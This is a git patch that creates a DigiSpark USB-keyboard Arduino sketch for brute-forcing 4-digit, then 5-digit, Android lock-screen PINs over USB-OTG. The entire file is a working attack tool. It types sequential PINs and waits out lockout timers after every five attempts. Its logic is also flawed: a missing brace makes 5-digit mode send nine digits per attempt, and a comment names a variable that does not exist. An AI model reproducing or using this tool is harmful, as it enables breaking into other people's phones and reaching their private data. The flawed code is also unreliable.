From 9dc7f4e4de15eca0b47022da681f7c1c415b95a3 Mon Sep 17 00:00:00 2001 From: Adil Sadqi <42699429+AdilSadqi@users.noreply.github.com> Date: Fri, 17 May 2024 10:56:24 +0100 Subject: [PATCH] Create DigiSpark --- DigiSpark | 76 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 76 insertions(+) create mode 100644 DigiSpark diff --git a/DigiSpark b/DigiSpark new file mode 100644 index 0000000..a543657 --- /dev/null +++ b/DigiSpark @@ -0,0 +1,76 @@ +/=============================================== +Phone_Crack - 4 Digit PIN - Brute Force Attack on Android +Smartphones that Supports OTG-Usb +DigiSpark +===============================================/ + +#include "DigiKeyboard.h" +int num[] = {39, 30, 31, 32, 33, 34, 35, 36, 37, 38}; +int a = 0; //1st digit +int b = 0; //2nd digit +int c = 0; //3rd digit +int d = 0; //4th digit +int e = 0; //5th digit +int count = 0; +bool key_stroke_e = false; + +void setup() { +DigiKeyboard.update(); +DigiKeyboard.sendKeyStroke(0); //this is generally not necessary but with some older systems it seems to prevent missing the first character after a delay +delay(3000); +} + +void loop() { +//After 5 attempts, initialize 31000 ms wait to retry. +if(count == 5){ +digitalWrite(1,HIGH); //Change this to 0 if using DigiSpark model B +DigiKeyboard.sendKeyStroke(40); //we hit enter to make the popup go away +delay(31000); +count = 0; +digitalWrite(1,LOW); +} +/Sends keystrokes based upon the values between 0-9 +It will start bruting 5 digits if a exceeds 10/ +if (key_stroke_e == false) +DigiKeyboard.sendKeyStroke(num[a]); +DigiKeyboard.sendKeyStroke(num[b]); +DigiKeyboard.sendKeyStroke(num[c]); +DigiKeyboard.sendKeyStroke(num[d]); +//check for whether it is true. If so, use 5 digits instead. +if (key_stroke_e == true){ +DigiKeyboard.sendKeyStroke(num[a]); +DigiKeyboard.sendKeyStroke(num[b]); +DigiKeyboard.sendKeyStroke(num[c]); +DigiKeyboard.sendKeyStroke(num[d]); +DigiKeyboard.sendKeyStroke(num[e]); +} +DigiKeyboard.sendKeyStroke(40); +delay(1000); +d++; +count++; +//If the 4th digit is past 9, it cycles back to 0 and increments the 3rd digit +if(d == 10){ +d = 0; +c++; +//If the 3rd digit is past 9, it cycles back to 0 and increments the 2nd digit +if(c == 10){ +c = 0; +b++; +//If the 2nd digit is past 9, it cycles back to 0 and increments the 1st digit +if(b == 10){ +b = 0; +a++; //if the 1st digit is past 9 it'll probably just throw out errors. +if(a == 10){ +//remain_true will equal true, loop through void(), and send the 5th keystroke +key_stroke_e = true; +e++; +//Remember that brute forcing will still work, despite its strange order. +//After e == 10, it will become 0 again. +if(e == 10){ +e = 0; +} +} +} +} +} +}